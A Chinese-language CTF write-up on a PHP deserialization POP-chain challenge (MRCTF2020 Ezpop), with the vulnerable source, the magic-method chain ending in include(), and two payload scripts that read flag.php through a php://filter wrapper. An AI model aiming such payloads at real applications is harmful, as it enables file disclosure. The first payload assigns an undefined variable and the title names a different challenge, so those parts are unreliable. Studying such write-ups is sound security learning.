[BJDCTF2020]EzPHP-POP链

那次某信内部比赛中有道pop链问题的题目,我当时没有做出来,所以在此总结一下,本次以buu上复现的[MRCTF2020]Ezpop为例

题目

 1 Welcome to index.php
 2 <?php
 3 //flag is in flag.php
 4 //WTF IS THIS?
 5 //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
 6 //And Crack It!
 7 class Modifier {
 8     protected  $var;
 9     public function append($value){
10         include($value);
11     }
12     public function __invoke(){
13         $this->append($this->var);
14     }
15 }
16 
17 class Show{
18     public $source;
19     public $str;
20     public function __construct($file='index.php'){
21         $this->source = $file;
22         echo 'Welcome to '.$this->source."<br>";
23     }
24     public function __toString(){
25         return $this->str->source;
26     }
27 
28     public function __wakeup(){
29         if(preg_match("/gopher|http|file|ftp|https|dict|../i", $this->source)) {
30             echo "hacker";
31             $this->source = "index.php";
32         }
33     }
34 }
35 
36 class Test{
37     public $p;
38     public function __construct(){
39         $this->p = array();
40     }
41 
42     public function __get($key){
43         $function = $this->p;
44         return $function();
45     }
46 }
47 
48 if(isset($_GET['pop'])){
49     @unserialize($_GET['pop']);
50 }
51 else{
52     $a=new Show;
53     highlight_file(__FILE__);
54 } 

分析

将涉及到的魔法函数先列出一下:

__construct   当一个对象创建时被调用,
__toString   当一个对象被当作一个字符串被调用。
__wakeup()   使用unserialize时触发
__get()    用于从不可访问的属性读取数据
#难以访问包括:(1)私有属性,(2)没有初始化的属性
__invoke()   当脚本尝试将对象调用为函数时触发

大致分析一下,这道题主要存在两个点:

1.序列化pop链
利用几个类之间相互关联进行构造
2.文件包含漏洞
Modifier类中append函数使用了include(),会出现文件包含漏洞。

详细分析

1.根据以上题目,当用get方法传一个pop参数后,会自动调用Show类的_wakeup()魔术方法。

2._wakeup()通过preg_match()将$this->source做字符串比较,如果$this->source是Show类,就调用了__toString()方法;

3.如果__toString()其中str赋值为一个实例化的Test类,那么其类不含有source属性,所以会调用Test中的_get()方法。

4.如果_get()中的p赋值为Modifier类,那么相当于Modifier类被当作函数处理,所以会调用Modifier类中的_invoke()方法。

5.利用文件包含漏洞,使用_invoke()读取flag.php的内容。

Modifier::__invoke()<--Test::__get()<--Show::__toString()

总结

首先反序列化一个实例化的Show($a),就会调用_wakeup(),其中$a会被赋值给source。所以让$a是一个实例化的Show类,这样就会调用_tostring(),然后让里面的$a这个Show类中的str赋值为Test()类,然后让str这个Test()类中的p赋值为Modifier()类。

payload1

 1 <?php
 2 class Show{
 3     public $source;
 4     public $str;
 5 }
 6 
 7 class Test{
 8     public $p;
 9 
10 
11 }
12 class Modifier{
13     protected $var = "php://filter/convert.base64-encode/resource=flag.php";
14 
15 }
16 $s = new Show();
17 $t = new Test();
18 $m = new Modifier();
19 $s->source = $s;
20 $s->str = $t;
21 $t->p = $r;
22 var_dump(urlencode(serialize($s)));
23 
24 ?>

payload2

 1 <?php
 2 class Modifier{
 3 
 4     protected $var = "php://filter/convert.base64-encode/resource=flag.php";
 5 }
 6 
 7 class Show{
 8     public $source;
 9     public $str;
10     public function __construct(){
11         $this->str = new Test();
12 
13     }
14      
15 }
16 class Test{
17     public $p;
18     public function __construct(){
19 
20         $this->p = new Modifier();
21     }
22 
23 }
24 $a = new Show();
25 $b = new Show();
26 $b->str = "";
27 $b->source = $a;
28 var_dump($b);
29 var_dump(urlencode(serialize($b)));
30 ?>

参考:https://blog.csdn.net/weixin_43952190/article/details/106016260

原文地址:https://www.cnblogs.com/zzjdbk/p/13617229.html